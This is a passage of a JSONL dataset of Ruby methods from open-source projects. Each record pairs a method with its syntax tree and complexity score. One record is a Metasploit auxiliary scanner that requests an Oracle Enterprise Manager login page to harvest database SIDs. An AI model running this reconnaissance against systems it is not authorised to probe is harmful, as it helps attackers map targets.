}]}]}]}","id":"81630db6-1cef-4223-bb2a-cf008c42cda0"}
{"repo_name":"warden","file_path":"./repos/warden/spec/warden/proxy_spec.rb","start_line":892,"raw_source":"def initialize(app, &blk)\n        @app, @blk = app, blk\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"ivasgn\",\"children\":[\"@blk\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"dc3dc138-60a6-4618-9bd1-4cdb54642fdd"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/actions.rb","start_line":474,"raw_source":"def quote(value) # :doc:\n          if value.respond_to? :each_pair\n            return value.map do |k, v|\n              \"#{k}: #{quote(v)}\"\n            end.join(\", \")\n          end\n          return value.inspect unless value.is_a? String\n\n          \"\\\"#{value.tr(\"'\", '\"')}\\\"\"\n        end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each_pair\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"tr\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}","id":"5868dc98-6363-40cb-9a71-08be77e11cbf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240903074608_fk_ci_pipelines_config_ci_pipelines.rb","start_line":23,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists :p_ci_pipelines_config, :p_ci_pipelines,\n        name: FK_NAME, reverse_lock_order: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"p_ci_pipelines_config\"]},{\"type\":\"sym\",\"children\":[\"p_ci_pipelines\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8c5466aa-caa5-434a-9afc-c8e8f286c206"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/statements_test.rb","start_line":51,"raw_source":"def test_strings\n    text = \" {% if 'test' == 'test' %} true {% else %} false {% endif %} \"\n    assert_template_result('  true  ', text)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\" {% if 'test' == 'test' %} true {% else %} false {% endif %} \"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"  true  \"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"e90a384a-7e54-49f5-9c3d-936936c77e00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/ci_deleted_object_processing_slis.rb","start_line":20,"raw_source":"def record_apdex(success:)\n          Gitlab::Metrics::Sli::Apdex[:ci_deleted_objects_processing].increment(\n            labels: CATEGORY_LABEL,\n            success: success)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_apdex\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"Apdex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci_deleted_objects_processing\"]}]},\"increment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"const\",\"children\":[null,\"CATEGORY_LABEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}]}]}","id":"db578d43-141a-4239-b823-964aa7d35757"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hooks/destroy_service.rb","start_line":19,"raw_source":"def execute(web_hook)\n      return error(DENIED, 401) unless authorized?(web_hook)\n\n      if web_hook.destroy\n        after_destroy(web_hook)\n      else\n        error(\"Unable to destroy #{web_hook.model_name.human}\", 500)\n      end\n    end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"web_hook\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\",{\"type\":\"lvar\",\"children\":[\"web_hook\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"const\",\"children\":[null,\"DENIED\"]},{\"type\":\"int\",\"children\":[401]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_hook\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"after_destroy\",{\"type\":\"lvar\",\"children\":[\"web_hook\"]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to destroy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_hook\"]},\"model_name\"]},\"human\"]}]}]},{\"type\":\"int\",\"children\":[500]}]}]}]}]}","id":"b9ba20b9-75b5-447c-8ec0-be10d5abcf81"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/helpers/spree/addresses_helper.rb","start_line":91,"raw_source":"def user_available_addresses\n      return [] unless try_spree_current_user\n\n      @user_available_addresses ||= begin\n        try_spree_current_user.\n          addresses.\n          includes(:country, :state).\n          not_quick_checkout.\n          where(country_id: current_store.countries_available_for_checkout.pluck(:id)).\n          includes(:user)\n      end\n    end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_available_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_available_addresses\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]},\"addresses\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"country\"]},{\"type\":\"sym\",\"children\":[\"state\"]}]},\"not_quick_checkout\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"countries_available_for_checkout\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]}]}","id":"3e6cfea3-ea8a-498f-bb26-d76e9d261763"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorize_proxy_user_service.rb","start_line":29,"raw_source":"def handle_access(access_as)\n        access_as_agent if access_as.key?('agent')\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_as\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_as\"]},\"key?\",{\"type\":\"str\",\"children\":[\"agent\"]}]},{\"type\":\"send\",\"children\":[null,\"access_as_agent\"]},null]}]}","id":"c8c6ff3f-a21a-4fd6-b7f6-9b802a012221"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/variant_presenter.rb","start_line":9,"raw_source":"def initialize(opts = {})\n      @variants = opts[:variants]\n      @is_product_available_in_currency = opts[:is_product_available_in_currency]\n      @current_currency = opts[:current_currency]\n      @current_price_options = opts[:current_price_options]\n      @current_store = opts[:current_store]\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@variants\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"variants\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@is_product_available_in_currency\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_product_available_in_currency\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_currency\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_currency\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_price_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_price_options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_store\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_store\"]}]}]}]}]}","id":"82ac8da4-ce5d-4e2f-b26f-e0bf6a360cfc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/dependency_proxy/image_ttl_group_policy_worker.rb","start_line":13,"raw_source":"def perform\n      DependencyProxy::ImageTtlGroupPolicy.enabled.each do |policy|\n        qualified_blobs = policy.group.dependency_proxy_blobs.active.read_before(policy.ttl)\n        qualified_manifests = policy.group.dependency_proxy_manifests.active.read_before(policy.ttl)\n\n        expire_artifacts(qualified_blobs)\n        expire_artifacts(qualified_manifests)\n      end\n\n      log_counts\n    end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"ImageTtlGroupPolicy\"]},\"enabled\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"qualified_blobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"group\"]},\"dependency_proxy_blobs\"]},\"active\"]},\"read_before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"ttl\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qualified_manifests\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"group\"]},\"dependency_proxy_manifests\"]},\"active\"]},\"read_before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"ttl\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expire_artifacts\",{\"type\":\"lvar\",\"children\":[\"qualified_blobs\"]}]},{\"type\":\"send\",\"children\":[null,\"expire_artifacts\",{\"type\":\"lvar\",\"children\":[\"qualified_manifests\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_counts\"]}]}]}","id":"9ca2f0a8-5370-4677-a5a0-f0d7fcaaadf8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/pull_request_formatter.rb","start_line":42,"raw_source":"def source_branch_name\n        @source_branch_name ||=\n          if cross_project? || !source_branch_exists?\n            source_branch_name_prefixed\n          else\n            source_branch_ref\n          end\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"source_branch_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source_branch_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cross_project?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_branch_exists?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"source_branch_name_prefixed\"]},{\"type\":\"send\",\"children\":[null,\"source_branch_ref\"]}]}]}]}","id":"62d1b869-9db1-4872-b8ad-77cc7a1146f4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":330,"raw_source":"def test_redirection_location\n    process :redirect_internal\n    assert_equal \"http://test.host/nothing\", @response.redirect_url\n\n    process :redirect_external\n    assert_equal \"http://www.rubyonrails.org\", @response.redirect_url\n\n    process :redirect_external_protocol_relative\n    assert_equal \"//www.rubyonrails.org\", @response.redirect_url\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirection_location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_internal\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/nothing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirect_url\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_external\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.rubyonrails.org\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirect_url\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_external_protocol_relative\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"//www.rubyonrails.org\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"redirect_url\"]}]}]}]}","id":"7c0de345-d42b-467b-8780-8fb31d2df0c3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/validators/authentication_validator.rb","start_line":75,"raw_source":"def validate_sso\n              register_checks(\n                :non_provisioned_user,\n                :provisioned_user_provider,\n                :provider_capabilities,\n                :token_negotiable,\n                :user_bound_request,\n                :offline_access\n              )\n\n              non_provisioned_user\n              non_oidc_provisioned_user\n              provider_capabilities\n              token_negotiable\n              user_bound_request\n              offline_access\n            end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sso\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_checks\",{\"type\":\"sym\",\"children\":[\"non_provisioned_user\"]},{\"type\":\"sym\",\"children\":[\"provisioned_user_provider\"]},{\"type\":\"sym\",\"children\":[\"provider_capabilities\"]},{\"type\":\"sym\",\"children\":[\"token_negotiable\"]},{\"type\":\"sym\",\"children\":[\"user_bound_request\"]},{\"type\":\"sym\",\"children\":[\"offline_access\"]}]},{\"type\":\"send\",\"children\":[null,\"non_provisioned_user\"]},{\"type\":\"send\",\"children\":[null,\"non_oidc_provisioned_user\"]},{\"type\":\"send\",\"children\":[null,\"provider_capabilities\"]},{\"type\":\"send\",\"children\":[null,\"token_negotiable\"]},{\"type\":\"send\",\"children\":[null,\"user_bound_request\"]},{\"type\":\"send\",\"children\":[null,\"offline_access\"]}]}]}","id":"30d6b430-c3db-47b2-b295-32c916bac586"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/emc_sid.rb","start_line":28,"raw_source":"def run_host(ip)\n    begin\n      res = send_request_raw({\n        'uri' => '/em/console/logon/logon',\n        'method' => 'GET',\n      }, 5)\n\n      return if not res\n\n      if (res.code == 200)\n        sid = res.body.scan(/Login to Database:(\\w+)/)\n        report_note(\n          :host\t=> ip,\n          :port\t=> datastore['RPORT'],\n          :proto\t=> 'tcp',\n          :type\t=> 'oracle_sid',\n          :data\t=> { :sid => sid },\n          :update => :unique_data\n        )\n        print_status(\"Discovered SID: '#{sid}' for host #{ip}\")\n      else\n        print_error(\"Unable to retrieve SID for #{ip}...\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n    rescue ::Timeout::Error, ::Errno::EPIPE\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/em/console/logon/logon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Login to Database:(\\\\w+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"oracle_sid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sid\"]},{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Discovered SID: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]}]},{\"type\":\"str\",\"children\":[\"' for host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to retrieve SID for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}]}","id":"c0c455cf-f4f2-4eca-957b-fe1a44eac3f5"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/custom_primary_keys_test.rb","start_line":15,"raw_source":"def test_fetch_parent\n    assert_nothing_raised do\n      CustomParentRecord.fetch(@parent_record.parent_primary_key)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomParentRecord\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent_record\"]},\"parent_primary_key\"]}]}]}]}","id":"8ad9753c-73ed-4691-bc39-6d70c97178db"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/attributes.rb","start_line":75,"raw_source":"def build_columns_table_cells(attribute_data)\n    return [\"\", \"\"] if attribute_data.nil?\n\n    # get work package attribute table cell data: [label, value]\n    [\n      pdf.make_cell(attribute_data[:label], styles.wp_attributes_table_label_cell),\n      attribute_data[:value]\n    ]\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_columns_table_cells\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_data\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"make_cell\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"wp_attributes_table_label_cell\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]}","id":"717aadb0-ace8-4cfd-b294-503570bf4552"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_time_precision_test.rb","start_line":85,"raw_source":"def test_invalid_datetime_precision_raises_error\n      assert_raises ArgumentError do\n        @connection.create_table(:foos, force: true) do |t|\n          t.timestamps precision: 7\n        end\n      end\n    end","complexity_score":5.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_datetime_precision_raises_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"foos\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}]}]}","id":"c23c2f4d-938d-4b45-99db-ef54612b2e5d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/models/bim/bcf/viewpoint.rb","start_line":74,"raw_source":"def build_snapshot(file, user: User.current)\n      ::Attachments::BuildService\n        .bypass_allowlist(user:)\n        .call(file:, container: self, filename: file.original_filename, description: \"snapshot\")\n        .result\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_snapshot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Attachments\"]},\"BuildService\"]},\"bypass_allowlist\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"original_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"